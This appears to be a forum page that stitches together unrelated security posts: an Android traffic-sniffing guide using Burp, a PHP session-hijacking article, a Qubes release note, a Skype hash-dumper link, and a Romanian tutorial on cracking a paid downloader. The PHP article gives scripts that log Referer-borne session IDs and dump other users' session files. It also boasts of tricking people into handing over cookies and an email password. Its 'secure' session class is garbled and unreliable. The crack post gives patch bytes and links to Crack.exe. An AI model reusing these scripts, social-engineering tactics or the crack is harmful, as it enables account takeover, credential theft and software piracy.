Nytro

Sniffing Network Traffic on Android Dejan Lukan December 31, 2012 Introduction There has been a lot of talk about how to connect your laptop though the Android network and use the bandwidth that you’re already paying for. Usually, this requires setting up an access point on an Android device and connecting to it with the laptop. On some devices you have to root the phone to be able to do that, but on newer devices this functionality is already included in the Android itself and we don’t even need to install a special application anymore. All we need to do is configure the access point in settings and connect to it. In this article we won’t talk about how to connect your laptop to the Android access point, but rather the opposite. We’ll be connecting the Android device to the laptop-enabled access point. But why would we do that? The main reason is not related to using the network over the phone (quite the contrary: the laptop should have a valid Internet connection already). We’re doing it because we want to sniff everything the Android device sends and receives over the network. There are a couple of ways to achieve that. One of them is to set a specific application to use a proxy, but the application has to support that setting, and most of them don’t. Another option is to use a system-wide proxy, so all Internet communication goes through it, but that method isn’t as reliable as the option we’ll be using. We’ll set up an access point on our laptop and connect to it via the mobile phone. We need to be aware that there are other options for sniffing the traffic from the Android device, like changing the IP tables on the phone, but they all require a rooted phone, which we don’t want. We want to use the Android device without rooting it and blowing our warranty. Option 1: Changing the Proxy Settings The first thing we need to do when trying to sniff the communication of the specific application on the Android is to connect the Android phone and a laptop to a local area network. This way, both devices will obtain the IP address from the same local host network. In our case we’re going to use the IP address range 192.168.1.0/24. Additionally, we also have to set-up a Burp proxy on our laptop, so we’ll be able to intercept requests made by the Android phone. To set up Burp, we must first download it and start it; it should automatically start listening on a predefined port, which is 8080. If this port is already in use it will use another port, but it doesn’t really matter which port it chooses right now, because we’re going to configure it ourselves anyway. First, let’s start up Burp and check if it starts to listen on the appropriate port. We can do that with the use of the netstat command in Linux. The actual command we have to run is shown below: # netstat -landtp | grep java tcp6 0 0 127.0.0.1:8080 :: LISTEN 31 We can see that Burp is listening on the default predefined port 8080, but there’s also one interesting thing; it’s listening on 127.0.0.1 address. This is the local host address, so the Android device, which has a different IP, won’t be able to connect to it. We need to configure Burp to use global IP address 0.0.0.0, which is used to listen for traffic on all interfaces, not just the local host lo interface. In order to do that, we must go to Proxy–Options under Burp, which will look like the picture below: We can see that Burp is successfully listening on the port 8080, as we already saw. There’s also a check in the loopback only option. This is exactly the option we need to disable. First, we must stop the proxy on port 8080; we can do this by clicking on the check box icon in the running column. After that the Burp proxy will stop and we will be able to load the configuration by clicking on the button edit. The configuration options will then look as follows: Now we must disable the “listen on loopback interface only” option and click on the update button. Burp will then ask us if we really want to start listening on all interfaces and we must press yes. Then we must restart the Burp proxy by enabling it in the running column. The Burp proxy should then be listening on all interfaces, which means we’ll be able to connect to it from the Android phone. Let’s check if the Burp proxy is really listening on all interfaces, with the same netstat command we already used. The output of the command is shown below: # netstat -landtp | grep java tcp6 0 0 :::8080 :: LISTEN 3 Great, Burp is now listening on port 8080 on all interfaces. Remember that you can as easily change the port to a number of your liking, so you don’t have to use 8080 if you don’t like or if you already have some other service listening on that port. Now we need to configure our Android phone to use a proxy. We can do that by changing the settings of the network we’re already connected to. In order to that that, we need to open the Wireless settings and enter the advanced options for the currently connected network. After that we’ll be able to see the “Proxy settings,” where we need to select “Manual”. Then we need to enter the IP address of our laptop computer and the port 8080 we configured Burp to use. Then save the settings. After that we can start any application we want and, if we’re lucky, some packets will start flowing through Burp. We first started the Gmail application, but it didn’t work. This is because some applications don’t honor the proxy being set in the network settings, so it doesn’t really work for all applications, but it does for some. Next we started an application that we won’t mention by name, and we received some traffic in Burp. The traffic can be seen on the picture below: Cool. The first four packets are being sent because the application uses advertisements that are being downloaded from Google servers. And the last packet is actually the application-specific packet that sends a score of some kind on the server. We are also beginning to understand the API interface that the application uses to expose its features to the clients. We can also see the headers that are being generated when the GET request is being sent over the network. This is all right, but so what? We can only sniff HTTP protocol and it only works for some applications, while we can’t sniff the traffic being sent by other applications. You might say that this is lame, but it actually isn’t; later we’ll talk about techniques which we can use to sniff the HTTP traffic from every application out there, no matter which API functions it uses to bypass the proxy settings. Wait, isn’t Burp able to intercept the HTTP and HTTPS traffic? So why are we only able to intercept HTTP traffic? Yes, Burp is able to intercept both clear text HTTP protocol and encrypted HTTPS protocol. The idea is that, when an application on Android tries to use the HTTPS, it first checks the certificate chain, which must be signed by the trusted certificate authority to be able to continue. For example: if we visit some HTTPS link in the Opera web browser, the web browser will display a warning saying that the web site is using a certificate that can’t be trusted and give us the choice to choose whether we would like to continue browsing or cancel the request. If we continue browsing, we’re essentially trusting the invalid certificate, which means in such cases that we’ll be able to intercept traffic using the encrypted HTTPS protocol. But this is a web browser, which should ask the users of they want to continue browsing, because a lot of web sites today use non-signed certificate that can be trusted. Thus we need to be able to continue browsing. But this isn’t so easy with various other applications. What if some web application is trying to send a GET request through the encrypted HTTPS protocol using some API function call that’s natively supported by the Android? Well, in such cases, that function doesn’t have the means to ask the user if he wants to trust the certificate or not; it just succeeds or fails, depending on how the applications was programmed to behave. If the function call accepts the invalid non-signed certificate, then everything will still work and we will be able to intercept traffic through HTTPS; but the default option is to not trust the non-signed certificate and most applications use the default option. Why would anyone enable the less secure non-default option that, first of all, isn’t secure and, second of all, requires more work? There’s only one reason: the programmer of that application doesn’t want to pay for the trusted certificate, but he still wants to send all the data over the encrypted HTTPS tunnel. But really, how many Android programmers like that are out there? Not many, which is why most of the applications will have default settings that reject the invalid non-signed certificate immediately. Therefore, we can conclude that intercepting the HTTPS traffic for most applications will be a little more difficult that just using a proxy. Option 2: Adding the Burp’s CA Certificate In the previous section we said that HTTPS intercepting is possible in some applications, but we can’t intercept the traffic successfully, because Burp presents a non-signed certificate to the application. Since the default behavior doesn’t allow the application to use non-signed certificate, those errors will cause the application to fail and the requests will not be sent over the encrypted HTTPS tunnel. Here we’re going to extract the CA self-signed certificate that Burp uses from Burp and add it to the Android’s certificate store. This way, we’ll force the Android system to trust that certificate and connect to Burp without alerting the user about certificate not being trusted. The CA certificate is regenerated every time we restart Burp. Every time we make an encrypted connection to some host on the internet, Burp then generates another server certificate and signs it with the previously created CA certificate. Thus, if we add the CA certificate to the certificate store on the Android device, the connection to Burp will be trusted and we will also be able to intercept HTTPS traffic between android device and target web application. First we have to export the CA certificate from Burp. We can do that by first setting up the proxy in Firefox or some other browser and then visiting an HTTPS-enabled web site. At that point, the web browser will present a warning notifying us that the certificate is not trusted. We need to add exception for that certificate and export it at the same time. To export the certificate, we must view the details of the certificate, which can be seen in the picture below: We can see that we selected the PortSwigger CA certificate and exported it. If we save the certificate into the file PortSwiggerCA and output its contents, we will get something like this: # cat PortSwiggerCA -----BEGIN CERTIFICATE----- MIICxDCCAi2gAwIBAgIEUI2pETANBgkqhkiG9w0BAQUFADCBijEUMBIGA1UEBhML UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0 U3dpZ2dlcjEUMBIGA1UEChMLUG9ydFN3aWdnZXIxFzAVBgNVBAsTDlBvcnRTd2ln Z2VyIENBMRcwFQYDVQQDEw5Qb3J0U3dpZ2dlciBDQTAeFw0xMjEwMjgyMTUyMTda Fw0zMjEwMjMyMTUyMTdaMIGKMRQwEgYDVQQGEwtQb3J0U3dpZ2dlcjEUMBIGA1UE CBMLUG9ydFN3aWdnZXIxFDASBgNVBAcTC1BvcnRTd2lnZ2VyMRQwEgYDVQQKEwtQ b3J0U3dpZ2dlcjEXMBUGA1UECxMOUG9ydFN3aWdnZXIgQ0ExFzAVBgNVBAMTDlBv cnRTd2lnZ2VyIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCoXLjIpRJh Sh/DbmhUCJErTgANPnoBBhfj97P6Gaya3BP+7NfzT670INyK2o5iS3FtSI78OZJ1 Sjgmg1jpycSqAPuOWS76kqrLiu+FaMAIAzYfIbei68wnPEAIflIA5AQpbSd5A4eF ldOhRYTz5VfTJxvy388KFkqHi6JD+lnSSQIDAQABozUwMzASBgNVHRMBAf8ECDAG AQH/AgEAMB0GA1UdDgQWBBTDazkycGJQkgV6GdPacarqRrMISDANBgkqhkiG9w0B AQUFAAOBgQCiLCy7AQHpWLq1W2DANmrybMmSUFXqcOMZei/xb/61LS4NjoVIQ4Fm 1OWLSJX/t00P+fS0Xk/5+vnWgIE+WP8Z9l6eWzNu/7EU6GCm1vECZ2X+XycD8wgB hZv17D+I0mFcHJFQtgq2sranJ+7oITkXOhcpwJ2+6+aTPDoUkp2AlQ== -----END CERTIFICATE----- This is the CA certificate that we need to import into the Android certificate store. To do that, we need to connect the phone to our system and copy the certificate to SDCARD on the Android phone. We can do that with the command below: # adb push PortSwiggerCA /sdcard/ 22 KB/s (1038 bytes in 0.045s) The CA certificate will then be stored in the SDCARD on the Android phone. To add it to the certificate store, we need to go to Preferences–Security and select “Install from device storage”. When clicking on that entry, it will say that there is no valid certificate present on the SDCARD. But how is that possible? We just pushed the certificate from our computer to the SDCARD. The problem is that this process looks only for the file extensions to find the certificates and we pushed the default certificate to the SDCARD without the file extension. To bypass that limitation, we need to save the certificate as PortSwiggerCA.crt, push it to the Android SD card again and rescan the storage device. Now the CA certificate is found and we can simply import it into the certificate store by clicking on OK button. The process will then open a Toast message saying that the PortSwiggerCA certificate was successfully installed. After that, we can start a web browser and try to visit an HTTPS-enabled web site. Upon opening the HTTPS URL, the Android will be able to verify the trust of the certificate presented by Burp and the web site will open normally. Additionally we will be able to see all the HTTPS traffic flowing through the internet in a Burp proxy. Since Burp creates a new CA certificate every time we restart it, it’s way better to create a new CA certificate manually, load it into Burp and also onto the Android device; then we will always be able to intercept HTTPS traffic as long as Burp will use the created CA certificate. We can follow the instructions presented here [1] to create the CA certificate manually. Basically, we need to execute the following commands to create the CA certificate: # openssl genrsa -des3 -out ca.key 4096 # openssl req -new -x509 -days 1000 -key ca.key -out ca.crt This will create the CA certificate named ca.crt, which we need to import into our Android device. We can push it into the SDCARD as we did before and add it to the certificate store. By doing that we will be able to sign any server certificate with our CA certificate and the Android device will always trust the server certificate, because it trusts the CA certificate. Next, we also need to create the server certificate signed by the previously created CA certificate, which we’ll be using in Burp. To do that we must execute the commands below, again taken from [1]: # openssl genrsa -des3 -out server.key 4096 # openssl req -new -key server.key -out server.csr # openssl x509 -req -days 1000 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out server.crt # openssl pkcs12 -export -out server.p12 -in server.crt -inkey server.key The certificate will be stored in a file named server.p12, which is the server certificate we need to configure Burp with (signed by the previously created CA certificate). To configure Burp to use that certificate, we must open Proxy–Options and configure the “server SSL certificate” options as shown in the picture below: Of course, we must also provide the password for the server certificate. The important thing we need to remember is the Common Name (CN) that we used when creating the server certificate. It is only that domain that we’ll be able to sniff without the warning message that the certificate is not valid. So why did we go through the hassle of creating our own certificates if we still need to recreate the server certificate and import it into Burp for each domain in the testing scope? The answer is quite simple: because we don’t need to recreate the CA certificate every time. We created the CA certificate, imported it into the certificate store on an Android phone and now our system trusts every server certificate, which is signed by that CA certificate. This is why we don’t ever need to transfer another CA certificate to the phone and install it; all we need to do is create another server certificate with appropriate CN on our computer and configure Burp to use it. All we need to do from now on is to create a new server certificate for the domain we would like to test, sign it with the CA certificate, and import it into Burp. We don’t need to configure anything else on the Android. If we’re going to extensively sniff HTTP/HTTPS traffic from the Android device, it’s better to set up AndroidProxy, which is a program that sits between the Android device and our Burp proxy and makes it easy to intercept HTTPS traffic by sending the domain name instead of the IP address to our proxy. It does this by intercepting all DNS requests and rewriting the CONNECT command, passing the domain name to it, rather than IP address. This should be done before the requests reach the Burp proxy, which uses the CONNECT directive to associate the correct IP address with the DNS hostname. A picture taken from the homepage of the AndroidProxy project on the Google Code, which explains this a little further, is presented below: Option 2: Using a Linux Access Point We’ll be setting up the access point via the hostapd wireless host AP daemon. First we need to install it via our default package manager on the Linux system. The hostapd daemon adds a configuration file /etc/hostapd/hostapd.conf, which contains the default configuration variables shown below: # cat /etc/hostapd/hostapd.conf | grep -v ^# | grep -v ^$ interface=wlan0 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 dump_file=/tmp/hostapd.dump ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=test hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=2347 fragm_threshold=2346 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 We can see that we’re used the wlan0 interface on the channel number 1 and the SSID access point name is test. Start the hostapd: # /etc/init.d/hostapd start * Caching service dependencies ... * Service `hostapd' needs non existent service `net.wlan0' * ERROR: hostapd needs service(s) net.wlan0 To bypass this error we need to symling the net.lo to the net.wlan, because the above error message said that the net.wlan0 doesn’t exists. This way we can simply bypass the above check. To create the symbol, execute this command: # ln -s /etc/init.d/net.lo /etc/init.d/net.wlan0 Afterwards we need to start the net.wlan0, which we can do with the following command: # /etc/init.d/net.wlan0 start * Bringing up interface wlan0 * Starting wpa_supplicant on wlan0 ... * Starting wpa_cli on wlan0 ... * Backgrounding ... ... * WARNING: net.wlan0 has started, but is inactive Okay, the wlan0 interface card is inactive., Hmmmm … why? It’s because we haven’t edited the /etc/conf.d/net yet and added the appropriate settings for the wlan0 interface card. We need to add something as follows to the /etc/conf.d/net configuration file: modules_wlan0=( "!iwconfig !wpa_supplicant" ) config_wlan0=( "10.1.2.1 netmask 255.255.255.0" ) Then we can restart the wlan0 init script, which can be done with the command below: # /etc/init.d/net.wlan0 restart * Caching service dependencies ... * Bringing down interface wlan0 * Removing addresses * Stopping wpa_cli on wlan0 ... * Stopping wpa_supplicant on wlan0 ... * Bringing up interface wlan0 * You are using a bash array for config_wlan0. * This feature will be removed in the future. * Please see net.example for the correct format for config_wlan0. * 10.1.2.1 ... SIOCSIFFLAGS: Operation not possible due to RF-kill * ERROR: net.wlan0 failed to start What’s happening? There was some error informing us that operation is not possible because of the RF-kill. If we install the rfkill program we can inspect the settings of wireless devices. First let’s list all available wireless devices: # rfkill list all 0: hci0: Bluetooth Soft blocked: no Hard blocked: no 1: phy0: Wireless LAN Soft blocked: yes Hard blocked: no The wireless card is soft blocked? This is probably the reason we’re getting the above error. To unblock the wireless card we can execute this command: # rfkill unblock all # rfkill list all 0: hci0: Bluetooth Soft blocked: no Hard blocked: no 1: phy0: Wireless LAN Soft blocked: no Hard blocked: no With the first command we unblocked all the wireless devices, but because only the wireless card was blocked, only the wifi was actually unblocked. Then we presented the wireless devices again; we can see that the wireless card isn’t blocked anymore, which is good. We can try restarting the wlan0 init script again. This time there are no errors and the net.wlan0 init script works fine, which can be seen below: # /etc/init.d/net.wlan0 restart * Bringing up interface wlan0 * You are using a bash array for config_wlan0. * This feature will be removed in the future. * Please see net.example for the correct format for config_wlan0. * 10.1.2.1 ... The wlan0 interface card now has the 10.1.2.1 IP set accordingly to the /etc/conf.d/net configuration file. We can display the information about the wlan0 interface card with the following command: # ifconfig wlan0 wlan0 Link encap:Ethernet HWaddr 00:26:c6:21:cf:1a inet addr:10.1.2.1 Bcast:10.1.2.255 Mask:255.255.255.0 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:47740 errors:0 dropped:0 overruns:0 frame:0 TX packets:48220 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:36288822 (34.6 MiB) TX bytes:12441625 (11.8 MiB) The inet addr says that the IP address is 10.1.2.1, which is correct, and the Mask is 255.255.255.0, which is also correct. The route in the routing table has also been correctly added: # route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.1.2.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 We need to set up the DHCP server. We can do that by using the dnsmasq, which provides DHCP and DNS services. First we need to install and configure the dnsmasq. We won’t go into the installation part of the dnsmasq, as you can probably just install it with your default package manager. Then we need to start the DHCP server, which we can do simply by executing this command: # /etc/init.d/dhcpcd start * Caching service dependencies ... * Starting DHCP Client Daemon ... After that we can simply start hostapd, which will provide us with the access point we can connect to. When the mobile phone is connected to our AP, we simply need to forward the packets out to the internet and optionally intercept them. Probably the whole point of doing this is intercepting the data, which is why we probably will be intercepting the data. We won’t describe that here, because it’s out of the scope of the article, since we only wanted to show how to connect the phone in ways that we’re able to use for intercepting the traffic. Conclusion We showed various ways we can use to intercept the traffic from an Android phone on the computer, which allows us to inspect and modify the traffic. The easiest part is to sniff for the HTTP and HTTPS traffic, but most of the applications will use that, so we’re pretty much covered. The first thing to do when trying to intercept the traffic is to set the proxy in the application itself, if it supports one. Most of the time, the applications don’t support proxying, which is why we’ll need to set a global proxy on an Android phone. But some applications bypass the proxy, so we need different methods to still be able to intercept the traffic. One of them we briefly described (but didn’t provide too much detail) is to connect our phone to an arbitrary access point that we set up on our computer. That way all the traffic will be flowing through our AP upon connecting to it. Remember that those are just a few ways to intercept the traffic, but there are many other techniques as well. One of them is to set up a sniffer on the actual router and then connect the phone to our home router, which is quite elegant and easy solution. There is no unique recipe how to intercept the data from the Android applications, but it can be done as we showed above. References: [1] Self-signed Certificates in Burp, accessible on un-excogitate.org

PHP Session ID’s – The Risks Adrian Stolarski December 31, 2012 In today’s article I want to address a very important topic. Namely, I want to talk about PHP session security. I know and understand that this is a very broad topic, but is also extremely interesting. PHP, even though it is simple and intuitive, is considered bad language if you want to write any halfway complex software. Why is that? The fault lies not with the language itself, but the programmers and administrators who do not understand it. This article will show you how to attack a session mechanism. Use browsers weakness PHP generally has two options for the transmission of session IDs. Both of them are very interesting from our point of view. The first is to transfer the session identifier in the address, so the session ID is then available to the public. The second way is a much safer route, and it is to use cookies. Although it may be safer to use a cookie, it does not give you 100% security. Well, what happens when you’re on my side, and I’ll start to collect all the information of your cookies? All cookies, which are generated by visiting your favorite web sites, such as logging into the post office or a paid service? For me, the first solution is interesting and shows the lack of creativity of developers and administrators of the servers on which PHP is installed. The understanding of the written code can be very difficult though. The first method is to simply transfer session using the GET array. Here is an example: Example Domain b537a69ac366e85208de Beautiful, is it not? Do you know why it is still used? Many developers and administrators are afraid that users will block their browsers ability to receive cookies. It is responsible for the session.use_trans_sid option in php.ini. You know what risks it brings? With redirection, most browsers use this header: Referrer: Google Of course this is just an example. The contents of the header may be different, but it’s actually irrelevant. In the header, all the information about the previously visited site is transmitted. This header is sent only when we move to another page by clicking a link, rather than typing the address in your browser. Do you have a page where pop up ads always display in your browser? It annoys me like heck. I cannot look at them. What do I do? Buy a crafted link to my website on your website. Of course, I do side with a high click-through rate. My beautiful site will also contain a one very malicious script. Here’s the code: <?php if(isset($_SERVER['HTTP_REFERER'])){ $file=fopen("devilishchuckle.txt", "a"); fputs($file, $_SERVER['HTTP_REFERER']."\r\n"); fclose($file); } ?> The operation of a hacker script is as follows. $ _SERVER Is a superglobal command. First, we look at whether it initiated HTTP_REFERER as part of the $ _SERVER, then open the specified file, save and close the file. Beautiful and how easy to use. This can be compared to the iPhone and rotten apples. Everyone clicks on the link, it automatically will give your session id to the hacker, and the hacker will be able to log in as that person and destroy the credibility of the portal. Social engineering This is something that neither that is not immune to neither methods. Social engineering is described in the following articles: InfoSec Institute Resources – Social Engineering – We Start Playing InfoSec Institute Resources – Social Engineering 2—What Do We Have To Watch? How does this relate to PHP? Describe two stories, both show the extent of human stupidity and never be disappointed. Both have happened. Here they are: The first corresponds exactly to that of the writing. Once I managed to persuade someone to do something for me, nothing major, such as logging on to your e-mail account, and then send me the URL and your browser cookies. Then I showed that person what you can do with the data, which is willingly given. It was ridiculously easy. The other one is even more humorous. Once I entered the chat and pretended to be a lady, I got into a conversation with a desperado. He wanted a photo. I ordered him to give me an e-mail address. The guy did it without any resistance. I then waited for him to send me a photo. Then I asked why it had not come. I figured that mine crashes, it’s a mistake, and that he must give me the password to his e-mail address, and I will write to him from there. The first thing I did was to hurry and change his password to the e-mail. Sometimes it is exciting that we give their personal details to other strangers. However, I always try to verify the identity of people and do not give away precious private information to strangers. This is the principle, which is always observed. The possibility of session hijacking, having access to the server There is another thing that we must remember. If we have our website on a public server, where we are never alone, in addition to the normal users, public servers are filled with bad, lazy hackers. If the administrators are lazy, it can have serious consequences. Lazy administrators always leave something like a default PHP configuration set. That is the path to save the session. By default, PHP is /tmp, the location of which is really somewhere all users can read. It is enough that this lists the directory, but you can also view the session IDs. If we host the website in a large server, if known, will surely have a lot of sites hosted on it. This way, we can get a really large number of session IDs. Now, how to find the ones that interest us? Believe me, you do not have to use the same session ID. In a very simple way you can pull data from each session. define("SESSION_DIR", "/tmp/session/"); // session dir define("START", 5); // need to substr, the number of sessions depends on the name define("END", 32); // need to substr, the number of session depends on the name if(!isset($_GET['id'])){ $directory = opendir(SESSION_DIR); while($files=readdir($directory)){ $files = substr($files, START, END); echo "<a href=\"session.php?id=".$files."\">".$files."</a><br>"; } } else { session_id($_GET['id']); session_start(); foreach($_SESSION as $variable => $value){ echo $variable."=".$value."<br>"; } $directory = opendir(SESSION_DIR); while($files = readdir($dir)){ $files = substr($files, START, END); echo "<a href=\"session.php?id=".$files."\">".$files."</a><br>"; } } ?> As you can see our hacker script is very simple, yet very useful. It displays all session IDs. When you click on the ID, it shows us the data from the session id. Of course, that can also be defended. What is the fastest way to do so? Well, we can always change the path of data recording session, to a path that will be less available. However, just taking this step does not offset the risk as it exists as long as the user can list the directory. The next thing you should do is put each account in the Apache chroot or jail. This solution is also not the best as the amount of space that should be used varies. It is of course better idea to put set safe_mode to ON in php.ini. This way, no one will be able to be able to list the directory with the PHP sessions. Of course, we still have a problem with people who have shell accounts. Just remember that if I set the chmod, they also will not do too much. So how do we create a secure session id? In this article I strongly criticized mechanisms available in PHP sessions. This is still not the ultimate solution as to run completely secure. At the end of this article I want to show an alternative way to generate session IDs in PHP. Perhaps it is not as powerful as the one that already is in PHP, but it sure is safer and much easier to use. The main difference in the class below will rely on the fact that the problem has been completely easy to gather the session ID. You can read more about passwords in the following article: InfoSec Institute Resources – Best Practices When Creating Passwords As a hash of the password, the data used browser and IP address data. As a result, the session ID is created, which completely avoids what is called the birthday problem. That is when the browser gives so much data that it is impracticable to two people handling the same password. The class is really very simple, and to generate the session ID hash function we use md5() because there is no point if you are using something else such as Mcrypt. Below is the full code of a simple class to generate session IDs: <?php define("BUFFER_SIZE", 1024); define("SESSION_PATH", "user_sessions/"); define("SEPARATOR", "="); define("END_LINE", "\r\n"); class SessionIDGenerator { public function __construct(){ } public function sessionStart(&$session_array){ if(file_exists(SESSION_PATH.userHash())){ $file = fopen(SESSION_PATH.userHash(), "r"); flock($file, LOCK_SH); while($line = fgets($file, BUFFER_SIZE)){ list($variable, $value) = explode(SEPARATOR, $line); $session_array[trim($variable)] = trim($value); } flock($file, LOCK_UN); fclode($file); } else { $file = fopen(SESSION_PATH.userHash(), "w"); fclose($file); } } public function sessionClose(&$session_array){ if(file_exists(SESSION_PATH.userHash()) || isset($session_array)){ file = fopen(SESSION_PATH.userHash(), "w"); foreach($session_array as $variable => $value){ flock($file, LOCK_EX); fputs($file, $variable.SEPARATOR.$value.END_LINE); flock($file, LOCK_UN); } fclose($file); unset($session_array); return true; } else { return false; } } public function sessionDestroy()(&$session_array){ unlink(SESSION_PATH.userHash(); unset($session_array); return; } private function userHash(){ return md5($_SERVER['REMOTE_ADDR'].$_SERVER['user_agent']); } } ?> Now we have a mechanism to generate session IDs. How can I put it to use? It is also very simple. See for yourself: <?php $sessionIdGenerator = new SessionIdDenerator; $sessionIdGenerator->sessionStart(&$SessionArray); $SessionArray['login'] = "user"' $SessionArray['password'] = "password"; $sessionIdGenerator->sessionClose(); ?> At the moment, it makes no sense to write your own session management mechanism. Mechanisms built into PHP can quietly handle it. We just took a little bit better protection mechanisms in PHP sessions than standard. Summary The fact that even I took the PHP language testifies to its extraordinary popularity. In a previous article on PHP: InfoSec Institute Resources – Nine Wishes for Your PHP Applications I mentioned this to my requests for application developers. Today I raised another very important issue: the dangers associated with the session IDs. This is very important because a lot of hackers could create a mess. Although this is not the focus of this article, you should know that each session shown has expired. If it starts to use the information contained in this article, you have to be very hurried. There is, however, such a thing as a long-term session. So if we do not protect the programmer through good session ID generation, we probably won’t against long-term sessions. One day I’ll show you how we should write a much better session mechanism than the one built in to PHP. That is not the focus of today’s article. You should seriously consider the combinations if you are using the mechanism of the session. You can share user data stored in the database as part of the cookie, but the other part stored in the session. Mechanisms for handling session data are the most important for anyone who writes PHP applications. Therefore it is really worth it to devote a lot more time than some other PHP elements. I greet you and wish you many safe and successful PHP projects in the future. Sursa: InfoSec Institute Resources – PHP Session ID’s – The Risks

[h=1]Qubes 2 Beta 1![/h]by Mayuresh on December 31, 2012 Our first post regarding the Qubes OS can be found here. A few days ago Qubes 2 Beta 1 was released! This is the first Beta for Qubes Release 2 and introduces generic support for fully virtualized AppVMs (called HVMs in common Xen speak), and specifically initial support for Windows-based AppVMs integration. “Qubes implements Security by Isolation approach. To do this, Qubes utilizes virtualization technology, to be able to isolate various programs from each other, and even sandbox many system-level components, like networking or storage subsystem, so that their compromise don’t affect the integrity of the rest of the system. Qubes lets the user define many security domains implemented as lightweight Virtual Machines (VMs), or “AppVMs”. E.g. user can have “personal”, “work”, “shopping”, “bank”, and “random” AppVMs and can use the applications from within those VMs just like if they were executing on the local machine, but at the same time they are well isolated from each other. Qubes supports secure copy-and-paste and file sharing between the AppVMs, of course.” [h=2]Changes made to Qubes:[/h] Support for generic fully virtualized VMs (without qemu in the TCB!) Support for Windows-based AppVMs integration (clipboard, file exchange, qrexec, pv drivers) Secure audio input to select AppVMs (Hello Skype users!) Clipboard is now also controlled by central policies, unified with other qrexec policies. Out of the box TorVM support Experimental support for PVUSB Updated Xorg packages in Dom0 to support new GPUs DisposableVM customization support … and, as usual, various fixes and other improvements Something new this time – unlike the rest of Qubes, which is distributed under a GPL v2 license, the Qubes Windows Support Tools are not open sourced and are distributed as binaries only, under a proprietary license. They are free to use for any Qubes 2 user. The tools are not part of the Qubes 2 installation ISO (which is GPL), and are down loadable on demand. Download Qubes: Qubes 2 Beta 1 – Qubes-R2-Beta1-x86_64-DVD.iso Sursa: Qubes 2 Beta 1! — PenTestIT

Skype Hash Dumper 1.0 Authored by Kevin Devine This is a tool that demonstrates dumping MD5 password hashes from the configuration file in Skype. Download: http://packetstormsecurity.com/files/download/119155/skype_dump.zip Sursa: Skype Hash Dumper 1.0 ? Packet Storm

Inca exista persoane cu acea mentalitate "old school" care fac totul din placere si NU pentru bani. Cat timp vor exista astfel de persoane, "scena" va exista. Nu ne trebuie banii vostri, prefer sa iti dau VIP daca dai acei bani pentru o carte si imi demonstrezi ca ai citit-o si ca ai invatat ceva din ea, pentru ca apoi si altii sa invete de la tine. E trist sa vad cat de usor banii pot distruge pasiunea...

5

Da, acum l-am vazut si eu, imi place Iei, imi descarca automat to playlistu

Autor: Nytro © Romanian Security Team 2012 De obicei ascult muzica pe Youtube dar azi mi s-a pus pata sa imi descarc melodiile pe care le aveam in playlist. Si incerc eu niste site-uri, vad ca merg naspa, apoi caut si descarc un program pe care il gasesc aici: YouTube MP3 Downloader - Descarca - RO - Download.CHIP.eu . Pare ok, aranjat, cand colo, ma trezesc ca imi descarca/converteste doar jumatate de melodie. Cum tot nu aveam ce face, am zis sa incerc sa ii fac un crack. Primul pas si cel care mi-a luat cel mai mult timp a fost sa gasesc unde se face verificarea serialului. Se putea face simplu cautand mesajul de eroare: 007D8B51 . C785 3CFFFFFF >MOV DWORD PTR SS:[EBP-C4],Download.00638>; UNICODE "Invaild Regstration Code." Am gasit pana la urma unde se face verificarea serialului dupa ceva chin: Pur si simplu in locul unui jnz care nu se executa pun un jmp. Nu era practic verificarea serialului, ci doar o verificare anterioara. .text:007D8AF7 test eax, eax Insa apoi se face verificarea si la fel, se face un salt catre portiunea de cod care ne arata ca serialul este incorect. O simpla transformare din jnz in jz e de ajuns. Procedura .text:007D9323 loc_7D9323: Fiind apelata de .text:007D8FAB jnz loc_7D9323 Am avut ceva probleme cu mai multe exceptii insa am trecut peste. Nu va recomand IDA deoarece nu poate "patch-ui" direct executabilul. In primul rand trebuie modificat ceva in config pentru a avea disponibil meniul de "Patch", apoi se creaza un "diff" cu ajutorul caruia se patch-uieste programul. Mai multe detalii aici: Marco Ramilli's Blog: How to Patch Binary with IDA Pro Patch-ul este banal: This difference file is created by The Interactive Disassembler Downloader.exe 003D8AF9: 0F E9 003D8AFA: 84 66 003D8AFB: 65 01 003D8AFC: 01 00 003D8FAC: 85 84 Iar in teste, programul crack-uit pare sa accepte orice serial: Am reinstalat programul, facea aceleasi figuri, am pus crack-ul in locul lui si pare sa functioneze, sa accepte orice serial: Bine, nu stia daca il putem denumi "crack" dar cam asta e. Si in sfarsit imi descarca si mie toata melodia: "CIA - Suntem tot aici.mp3" Download crack: https://rstforums.com/proiecte/Crack.exe Mirrors: http://www.speedyshare.com/2M4sa/Crack.exe http://www18.zippyshare.com/v/38589448/file.html PS: Puteti compara cu originalul, folositi "Compare It" sau orice altceva pentru a verifica diferentele, sunt doar vreo 5 bytes diferiti. Setup: http://download.chip.eu/ro/YouTube-MP3-Downloader_6745448.html Thanks, // Nytro

